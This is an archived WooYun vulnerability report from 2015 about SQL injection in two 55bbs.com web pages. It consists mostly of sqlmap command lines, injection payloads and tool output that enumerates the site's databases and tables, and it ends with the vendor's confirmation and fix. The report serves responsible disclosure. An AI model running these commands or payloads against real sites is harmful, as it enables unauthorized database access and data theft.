乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-05-18: 细节已通知厂商并且等待厂商处理中 2015-05-19: 厂商已经确认,细节仅向厂商公开 2015-05-19: 厂商已经修复漏洞并主动公开,细节向公众公开
昨天深夜,一位2b朋友打电话给我,说他车里的方向盘、刹车、油门、离合全被人卸掉了,叫我去接他。我开车到半路的时候,这货又打电话给我说:你不用过来了,刚才喝多了,现在清醒一点才发现原来自己坐在副驾驶座上。。
Target: http://youhuiquan.55bbs.com/consume.php?keyword=1Host IP: 118.67.120.221Web Server: ApachePowered-by: PHP/5.3.27DB Server: MySQL time basedResp. Time(avg): 166 msCurrent User: [email protected]Sql Version: 5.1.61rP+ 2 2-logSystem User: [email protected]Host Name: c25-55bbs-dbs-mlt-85.cnet.com.cnInstallation dir: /service/server/Perc?na-Server-5.1.61-rel13.2-430.Li?ux.x86_8?/DB User: 'hunl?a55bbs'@'10.15#18%'Data Bases: in?orma?ion_schema 55my_h?njia V?and hunjiatongji t?st ucenter
第一枚
C:\Python27\sqlmap>sqlmap.py -u "http://100.55bbs.com/?c=List&order=id*&page=15"--dbs _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:45:19custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y[14:45:21] [INFO] testing connection to the target URL[14:45:21] [INFO] heuristics detected web page charset 'GB2312'[14:45:21] [INFO] testing if the target URL is stable. This can take a couple of seconds[14:45:22] [INFO] target URL is stable[14:45:22] [INFO] testing if URI parameter '#1*' is dynamic[14:45:23] [INFO] confirming that URI parameter '#1*' is dynamic[14:45:23] [INFO] URI parameter '#1*' is dynamic[14:45:23] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable[14:45:23] [INFO] testing for SQL injection on URI parameter '#1*'[14:45:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[14:45:23] [WARNING] reflective value(s) found and filtering out[14:45:27] [INFO] heuristics detected web page charset 'ISO-8859-2'[14:45:29] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'[14:45:30] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0 boolean-based blind - Parameter replace' injectableit looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] yfor the remaining tests, do you want to include all tests for 'MySQL' extendingprovided level (1) and risk (1) values? [Y/n] y[14:48:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[14:48:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[14:48:10] [INFO] checking if the injection point on URI parameter '#1*' is a false positive[14:48:12] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between'URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] ysqlmap identified the following injection points with a total of 42 HTTP(s) requests:---Parameter: #1* (URI) Type: boolean-based blind Title: MySQL >= 5.0 boolean-based blind - Parameter replace Payload: http://100.55bbs.com:80/?c=List&order=(SELECT (CASE WHEN (8444=8444) THEN 8444 ELSE 8444*(SELECT 8444 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&page=15--dbs---[14:48:14] [INFO] the back-end DBMS is MySQLweb application technology: Nginx, PHP 5.2.9back-end DBMS: MySQL 5.0[14:48:14] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\100.55bbs.com'[*] shutting down at 14:48:14
第二枚
C:\Python27\sqlmap>sqlmap.py -u "http://youhuiquan.55bbs.com/consume.php?keyword=8a" --dbs _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:42:12[14:42:12] [INFO] resuming back-end DBMS 'mysql'[14:42:12] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: keyword (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: keyword=-4989' OR 3965=3965# Type: error-based Title: MySQL OR error-based - WHERE or HAVING clause Payload: keyword=-5626' OR 1 GROUP BY CONCAT(0x717a626b71,(SELECT (CASE WHEN (2394=2394) THEN 1 ELSE 0 END)),0x7171787171,FLOOR(RAND(0)*2)) HAVING MIN(0)#---[14:42:12] [INFO] the back-end DBMS is MySQLweb application technology: Apache, PHP 5.3.27back-end DBMS: MySQL 5[14:42:12] [INFO] fetching database names[14:42:12] [WARNING] reflective value(s) found and filtering out[14:42:12] [INFO] the SQL query used returns 6 entries[14:42:12] [INFO] retrieved: information_schema[14:42:13] [INFO] retrieved: 55my_hunjia[14:42:13] [INFO] retrieved: brand[14:42:13] [INFO] retrieved: hunjiatongji[14:42:13] [INFO] retrieved: test[14:42:13] [INFO] retrieved: ucenteravailable databases [6]:[*] 55my_hunjia[*] brand[*] hunjiatongji[*] information_schema[*] test[*] ucenter[14:42:13] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\youhuiquan.55bbs.com'[*] shutting down at 14:42:13C:\Python27\sqlmap>sqlmap.py -u "http://youhuiquan.55bbs.com/consume.php?keyword=8a" --table -D 55my_hunjia _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 14:42:37[14:42:37] [INFO] resuming back-end DBMS 'mysql'[14:42:37] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: keyword (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: keyword=-4989' OR 3965=3965# Type: error-based Title: MySQL OR error-based - WHERE or HAVING clause Payload: keyword=-5626' OR 1 GROUP BY CONCAT(0x717a626b71,(SELECT (CASE WHEN (2394=2394) THEN 1 ELSE 0 END)),0x7171787171,FLOOR(RAND(0)*2)) HAVING MIN(0)#---[14:42:38] [INFO] the back-end DBMS is MySQLweb application technology: Apache, PHP 5.3.27back-end DBMS: MySQL 5[14:42:38] [INFO] fetching tables for database: '55my_hunjia'[14:42:38] [WARNING] reflective value(s) found and filtering out[14:42:38] [INFO] the SQL query used returns 18 entries[14:42:38] [INFO] retrieved: [Table]shopitems_msg[14:42:38] [INFO] retrieved: budget_items[14:42:38] [INFO] retrieved: items_category[14:42:39] [INFO] retrieved: memo_msg[14:42:39] [INFO] retrieved: my_user_msg[14:42:39] [INFO] retrieved: user_budget[14:42:39] [INFO] retrieved: user_budget_type[14:42:39] [INFO] retrieved: user_relevance[14:42:39] [INFO] retrieved: weddingCardUrl[14:42:39] [INFO] retrieved: wedding_hetong[14:42:40] [INFO] retrieved: wedding_lucky_day[14:42:40] [INFO] retrieved: wedding_music[14:42:40] [INFO] retrieved: wedding_music_type[14:42:40] [INFO] retrieved: wedding_reg_city[14:42:40] [INFO] retrieved: wedding_registration[14:42:40] [INFO] retrieved: wedding_speech[14:42:41] [INFO] retrieved: wedding_speech_type[14:42:41] [INFO] retrieved: wedding_speech_urlDatabase: 55my_hunjia[18 tables]+----------------------+| [Table]shopitems_msg || budget_items || items_category || memo_msg || my_user_msg || user_budget || user_budget_type || user_relevance || weddingCardUrl || wedding_hetong || wedding_lucky_day || wedding_music || wedding_music_type || wedding_reg_city || wedding_registration || wedding_speech || wedding_speech_type || wedding_speech_url |+----------------------+[14:42:41] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\youhuiquan.55bbs.com'[*] shutting down at 14:42:41
过滤
危害等级:高
漏洞Rank:15
确认时间:2015-05-19 12:51
漏洞存在,等待修复
2015-05-19:漏洞已解决